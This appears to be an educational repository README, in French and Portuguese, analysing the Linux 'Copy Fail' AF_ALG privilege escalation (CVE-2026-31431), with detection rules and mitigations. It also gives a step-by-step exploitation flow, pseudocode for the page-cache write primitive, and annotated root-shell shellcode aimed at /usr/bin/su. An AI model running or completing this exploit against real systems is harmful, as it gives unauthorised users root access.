
Analyse pédagogique de la CVE-2026-31431, une élévation de privilèges locale du noyau Linux via l'opération en place AEAD d'AF_ALG, incluant la cause racine technique, la détection et l'atténuation.
Analyse technique pédagogique de l’une des vulnérabilités les plus significatives du noyau Linux depuis Dirty Pipe (2022).
Ce dépôt est destiné à la recherche, à l’étude et à la défense. Aucun exploit fonctionnel n’est distribué ici.
CVE-2026-31431, surnommée Copy Fail, est une vulnérabilité d’élévation locale de privilèges (LPE — Local Privilege Escalation) dans le noyau Linux. Elle permet à tout utilisateur sans privilèges d’obtenir un accès root en quelques secondes.
Imaginez que le système d’exploitation dispose d’une mémoire de travail (appelée page cache) dans laquelle il conserve des copies des fichiers en cours d’utilisation. Lorsque vous exécutez un programme, le système charge ce programme dans cette mémoire et l’exécute à partir de là — et non directement depuis le disque.
Copy Fail permet à un utilisateur ordinaire de modifier cette copie en mémoire d’un programme spécial (un binaire setuid, comme la commande su) sans toucher au fichier d’origine sur le disque. Le fichier sur le disque reste intact, mais lorsque le programme est exécuté, le système lit la version corrompue de la mémoire.
C’est comme remplacer la recette d’un plat dans la mémoire d’un chef pendant qu’il cuisine — le livre de recettes d’origine ne change pas, mais le plat qui en sort est complètement différent.
Le résultat : le programme corrompu exécute le code de l’attaquant avec les permissions root.
Ce qui rend cela particulièrement dangereux :
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## Comment ça fonctionne techniquement
### Vue d'ensemble du flux```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
Le bug vit dans crypto/algif_aead.c. En 2017, l'opération AEAD a été convertie en in-place pour gagner en performance :```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
L'algorithme `authencesn` utilise le buffer de destination comme *scratch space* pour réorganiser les octets du Extended Sequence Number (ESN) d'IPsec :```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
L'écriture contourne entièrement le VFS. La page modifiée n'est jamais marquée comme dirty par le mécanisme de writeback du noyau. Le fichier sur disque reste intact. Les outils d'intégrité basés sur des hash (aide, tripwire, inotifywait) ne détectent rien car ils surveillent le disque, pas le page cache.
L'exploit embarque un mini-ELF de 160 octets compressé avec zlib. Après décompression, la partie exécutable est :```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**Structure de l'ELF minimal (160 octets au total) :**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
Versões do kernel:
Distribuições com exploits funcionais confirmados:
Condição necessária: CONFIG_CRYPTO_USER_API_AEAD=y ou =m no kernel
Verificar se o sistema está exposto:```bash
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "
---
## Android est-il concerné ?
**Réponse courte :** Android standard (AOSP/GKI) **n'est pas vulnérable en pratique**, mais les appareils avec des configurations non standard méritent une vérification.
### Analyse par prérequis```
Pré-requisito Android AOSP/GKI padrão Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada ✅ Sim (Android 12–16) ✅ Sim
algif_aead habilitado ❌ Não (fora do GKI) ⚠️ Possível (OEM config)
AF_ALG acessível a apps ❌ Bloqueado SELinux+seccomp ⚠️ Depende da policy
Binário setuid disponível ❌ Android não usa setuid ⚠️ Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK ❌ Inviável ❌ Inviável
Exploração via ADB shell ❌ Bloqueado por SELinux ⚠️ Possível (permissive)
1. CONFIG_CRYPTO_USER_API_AEAD absent du GKI
Google n'inclut pas cette option dans le gki_defconfig arm64 par défaut. Android utilise BoringSSL en userspace pour le chiffrement, et ne dépend pas d'AF_ALG.
2. SELinux enforcing
Le domaine untrusted_app de SELinux sur Android ne possède pas la permission create pour AF_ALG. L'appel socket(AF_ALG, SOCK_SEQPACKET, 0) est refusé avec EACCES avant d'atteindre le sous-système de chiffrement.
3. Seccomp-bpf
Les applications Android s'exécutent avec un filtre seccomp qui bloque socket() avec domain=AF_ALG — il n'est pas dans la whitelist des syscalls autorisés pour les applications tierces.
4. Absence de binaires setuid
Android n'utilise pas le modèle setuid du Linux traditionnel. Les binaires privilégiés utilisent des capabilities spécifiques ou s'exécutent en tant que services avec des UIDs dédiés. Il n'y a pas de /usr/bin/su dans les builds de production AOSP.
adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD
adb shell getenforce
adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"
adb shell find /system /vendor -perm -4000 -type f 2>/dev/null
---
## Détection
### Falco (détection en temps réel)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
desc: >
Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
condition: >
evt.type = socket
and evt.rawres >= 0
and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
and (evt.arg.type = 5 or evt.arg.type = 2053)
and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
integritysetup, kcapi-enc, kcapi-dgst)
output: >
AF_ALG AEAD socket por processo suspeito
(proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [CVE-2026-31431, kernel, privilege_escalation]
### Vérifier si le système a été compromis```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)
# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição
sudo apt update && sudo apt upgrade linux-image-generic sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo pacman -Syu linux sudo reboot
uname -r
**Versions corrigées par série :**
| Série | Version corrigée |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x | 6.1.170 |
| 6.6.x | 6.6.137 |
| 6.12.x | 6.12.85 |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+ | **7.0** (correctif inclus) |
### Option 2 — Désactiver algif_aead (solution temporaire)
**Si `CONFIG_CRYPTO_USER_API_AEAD=m` (module chargeable) :**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true
Si CONFIG_CRYPTO_USER_API_AEAD=y (intégré — cas RHEL/Rocky/CloudLinux) :
⚠️ La commande ci-dessus ne fonctionne pas lorsque le module est compilé dans le noyau.```bash
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot
cat /proc/cmdline | grep algif_aead_init
**Confirmer que le workaround fonctionne :**```bash
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
print('✅ Mitigação ativa — socket bloqueado')
"
Compatibilité du workaround :
Le blocage de algif_aead n’affecte pas dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH. Il n’affecte que les applications qui utilisent explicitement AF_ALG pour AEAD (rare — ex : OpenSSL avec le moteur afalg, déchargement crypto matériel).
{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }
---
## Implémentations d'étude
Ce dépôt documente le mécanisme de l'exploit dans plusieurs langages à des fins éducatives. L'accent est mis sur la compréhension de **comment** la vulnérabilité fonctionne, et non sur la distribution d'outils offensifs.
### Structure du mécanisme (pseudocode)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
alg = socket(AF_ALG, SEQPACKET)
alg.bind("authencesn(hmac(sha256),cbc(aes))")
alg.set_key(chave_36_bytes)
alg.set_authsize(4) ← 4 bytes = tamanho do write primitivo
op = alg.accept()
# O segredo: bytes[0:4] vão para posições [4:8] do AAD
# authencesn lerá isso como seqno_lo e escreverá no page cache
aad = [0,0,0,0] + bytes ← [seqno_hi=0][seqno_lo=bytes_desejados]
op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])
pipe_r, pipe_w = pipe()
splice(arquivo → pipe_w, len=offset+4, src_offset=0)
splice(pipe_r → op, len=offset+4)
# ↑ Injeta page cache na scatterlist do AF_ALG
op.recv() ← dispara authencesn → escrita acontece → EBADMSG ignorado
# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su") ← agora executa nosso ELF → root
Le fichier copyfail_study.md contient les implémentations complètes et commentées.
Le shellcode récupéré (après décompression zlib du PoC) fait :```
Total: 26 octets de code + 8 octets de chaîne = 34 octets de shellcode dans un ELF de 160 octets.
---
## Références
| Ressource | Lien |
|---|---|
| Writeup original (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| Site officiel de la CVE | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| Dépôt PoC original | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| Patch mainline | https://git.kernel.org/stable/c/a664bf3d603d |
| Wikipédia | https://en.wikipedia.org/wiki/Copy_Fail |
| Analyse Sysdig + règle Falco | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Analyse Microsoft Defender | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| FAQ Tenable | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| Avis CERT-EU | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Analyse Bugcrowd | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| Discussion OSS-Security | https://openwall.com/lists/oss-security/2026/04/29/23 |
| Patch AlmaLinux | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| Patch CloudLinux + analyse du workaround | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |
---
## Avertissement
Ce dépôt a **une finalité exclusivement éducative et de recherche en sécurité défensive**. Le contenu présent ici est destiné à :
- Professionnels de la sécurité offensive et défensive
- Chercheurs en vulnérabilités
- Étudiants en sécurité de l'information
- Administrateurs système qui doivent comprendre le risque pour l'atténuer
**N'utilisez pas ces connaissances sur des systèmes sans autorisation explicite du propriétaire.** L'accès non autorisé à des systèmes informatiques est un crime dans pratiquement toutes les juridictions (au Brésil, Loi 12.737/2012 — Loi Carolina Dieckmann ; Loi 14.155/2021).
---
*Dernière mise à jour : mai 2026*
*Contributions bienvenues via PR — gardez le focus éducatif et défensif.*
| Attribut | Valeur |
|---|
| CVE | CVE-2026-31431 |
| Score CVSS | 7.8 HIGH |
| Type | Élévation locale de privilèges (LPE) |
| Sous-système | crypto/algif_aead.c — AF_ALG |
| Introduite dans | Noyau 4.14 (commit 72548b093ee3, juillet 2017) |
| Corrigée dans | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| Découverte par | Taeyang Lee — Theori / Xint Code |
| Divulgation publique | 29 avril 2026 |
| PoC public | Oui — script Python d’environ 732 octets |
| Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) |
|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| Tipo | Race condition em CoW | Pipe buffer sem flags | Logic bug em AEAD |
| Confiabilidade | Race-dependent (~ms) | Determinístico | Determinístico |
| Rastro em disco | Sim (dirty pages) | Não | Não |
| Portabilidade | Ampla | Versões específicas | Universal (2017–2026) |
| Tamanho do PoC | ~50 linhas C | ~40 linhas C | ~10 linhas Python |
| Subsistema | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| Descoberta | Manual | Manual | AI-assisted |
| Janela de exploração | Race window | Nenhuma | Nenhuma |
| Scénario | Risque |
|---|
| Appareil avec Magisk/KernelSU + SELinux permissive | Élevé — tous les prérequis peuvent s'aligner |
Kernel OEM avec CONFIG_CRYPTO_USER_API_AEAD=y + eng build | Moyen — dépend de l'accès shell |
| Application malveillante sur un appareil non rooté | Aucun — SELinux + seccomp bloquent |
| ADB sur un build de production | Aucun — adb root ne fonctionne pas |
| Langage | Description |
|---|
| Python (désobfusqué) | Version propre et commentée du PoC original |
| NASM x86_64 | Le payload ELF annoté instruction par instruction |
| Go | Utilisation de syscall.RawSyscall6 pour SYS_SPLICE et SYS_SETSOCKOPT directement |
| C | Implémentation avec struct msghdr, CMSG_DATA, et zlib runtime |